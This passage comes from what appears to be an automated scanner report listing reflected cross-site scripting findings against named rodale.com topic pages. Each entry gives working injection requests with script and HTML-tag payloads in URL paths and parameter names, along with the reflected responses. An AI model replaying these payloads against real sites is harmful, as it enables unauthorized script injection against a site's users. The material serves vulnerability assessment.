<body id="" class="format-normal page-page topic topic-indoor-air-qualityc7c7c"><a>1f52f0daa29 node node-958">
...[SNIP]...

2.637. http://www.rodale.com/topic/indoor-air-quality [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/indoor-air-quality

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd02c"><script>alert(1)</script>a1b0af39f7a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/indoor-air-quality?dd02c"><script>alert(1)</script>a1b0af39f7a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:33 GMT
Date: Thu, 10 Mar 2011 17:14:33 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/indoor-air-quality?dd02c"><script>alert(1)</script>a1b0af39f7a=1" title="Register" class="moreLink">
...[SNIP]...

2.638. http://www.rodale.com/topic/indoor-pest-control [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/indoor-pest-control

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e292"><a>ff8807102d6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3e292"><a>ff8807102d6/indoor-pest-control HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:39 GMT
Date: Thu, 10 Mar 2011 17:14:39 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3e292"><a>ff8807102d6 topic3e292">
...[SNIP]...

2.639. http://www.rodale.com/topic/indoor-pest-control [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/indoor-pest-control

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce4f3"><a>831ed91df54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/indoor-pest-controlce4f3"><a>831ed91df54 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:15 GMT
Date: Thu, 10 Mar 2011 17:15:15 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-indoor-pest-controlce4f3"><a>831ed91df54 node node-958">
...[SNIP]...

2.640. http://www.rodale.com/topic/indoor-pest-control [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/indoor-pest-control

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66d76"><script>alert(1)</script>56bbeb39ee1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/indoor-pest-control?66d76"><script>alert(1)</script>56bbeb39ee1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/indoor-pest-control?66d76"><script>alert(1)</script>56bbeb39ee1=1" title="Register" class="moreLink">
...[SNIP]...

2.641. http://www.rodale.com/topic/infection [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/infection

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf1f8"><a>df6788e39e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccf1f8"><a>df6788e39e8/infection HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:38 GMT
Date: Thu, 10 Mar 2011 17:14:39 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccf1f8"><a>df6788e39e8 topiccf1f8">
...[SNIP]...

2.642. http://www.rodale.com/topic/infection [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/infection

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31e3a"><a>026280389f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/infection31e3a"><a>026280389f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:23 GMT
Date: Thu, 10 Mar 2011 17:15:24 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-infection31e3a"><a>026280389f node node-958">
...[SNIP]...

2.643. http://www.rodale.com/topic/infection [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/infection

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8749b"><script>alert(1)</script>93f1b361ac1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/infection?8749b"><script>alert(1)</script>93f1b361ac1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Content-Length: 29387
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/infection?8749b"><script>alert(1)</script>93f1b361ac1=1" title="Register" class="moreLink">
...[SNIP]...

2.644. http://www.rodale.com/topic/insect-repellent [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/insect-repellent

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1d59"><a>a08f18cff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd1d59"><a>a08f18cff/insect-repellent HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:36 GMT
Date: Thu, 10 Mar 2011 17:14:36 GMT
Content-Length: 22511
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd1d59"><a>a08f18cff topicd1d59">
...[SNIP]...

2.645. http://www.rodale.com/topic/insect-repellent [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/insect-repellent

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2350"><a>7116a33c346 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/insect-repellenta2350"><a>7116a33c346 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:23 GMT
Date: Thu, 10 Mar 2011 17:15:23 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-insect-repellenta2350"><a>7116a33c346 node node-958">
...[SNIP]...

2.646. http://www.rodale.com/topic/insect-repellent [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/insect-repellent

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f968"><script>alert(1)</script>e1220e8be40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/insect-repellent?1f968"><script>alert(1)</script>e1220e8be40=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:33 GMT
Date: Thu, 10 Mar 2011 17:14:34 GMT
Content-Length: 30559
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/insect-repellent?1f968"><script>alert(1)</script>e1220e8be40=1" title="Register" class="moreLink">
...[SNIP]...

2.647. http://www.rodale.com/topic/laundry [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/laundry

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aadc9"><a>bf61142ca64 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicaadc9"><a>bf61142ca64/laundry HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:41 GMT
Date: Thu, 10 Mar 2011 17:14:41 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicaadc9"><a>bf61142ca64 topicaadc9">
...[SNIP]...

2.648. http://www.rodale.com/topic/laundry [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/laundry

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c64e"><a>84ca08344bb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/laundry7c64e"><a>84ca08344bb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:15 GMT
Date: Thu, 10 Mar 2011 17:15:15 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-laundry7c64e"><a>84ca08344bb node node-958">
...[SNIP]...

2.649. http://www.rodale.com/topic/laundry [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/laundry

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71d08"><script>alert(1)</script>2551685b1d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/laundry?71d08"><script>alert(1)</script>2551685b1d0=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:39 GMT
Date: Thu, 10 Mar 2011 17:14:39 GMT
Content-Length: 31689
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/laundry?71d08"><script>alert(1)</script>2551685b1d0=1" title="Register" class="moreLink">
...[SNIP]...

2.650. http://www.rodale.com/topic/lawn-care-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lawn-care-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff436"><a>b94ebc1a2dd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicff436"><a>b94ebc1a2dd/lawn-care-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:48 GMT
Date: Thu, 10 Mar 2011 17:14:48 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicff436"><a>b94ebc1a2dd topicff436">
...[SNIP]...

2.651. http://www.rodale.com/topic/lawn-care-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lawn-care-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9aa6"><a>b9a2a0ba886 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/lawn-care-0a9aa6"><a>b9a2a0ba886 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:29 GMT
Date: Thu, 10 Mar 2011 17:15:29 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-lawn-care-0a9aa6"><a>b9a2a0ba886 node node-958">
...[SNIP]...

2.652. http://www.rodale.com/topic/lawn-care-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/lawn-care-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2b96"><script>alert(1)</script>142fd890b7a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/lawn-care-0?d2b96"><script>alert(1)</script>142fd890b7a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:45 GMT
Date: Thu, 10 Mar 2011 17:14:45 GMT
Content-Length: 32570
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/lawn-care-0?d2b96"><script>alert(1)</script>142fd890b7a=1" title="Register" class="moreLink">
...[SNIP]...

2.653. http://www.rodale.com/topic/lead [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lead

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 614f9"><a>9da368f1fba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic614f9"><a>9da368f1fba/lead HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:00 GMT
Date: Thu, 10 Mar 2011 17:15:01 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic614f9"><a>9da368f1fba topic614f9">
...[SNIP]...

2.654. http://www.rodale.com/topic/lead [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lead

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 735dc"><a>ca7f72df341 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/lead735dc"><a>ca7f72df341 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
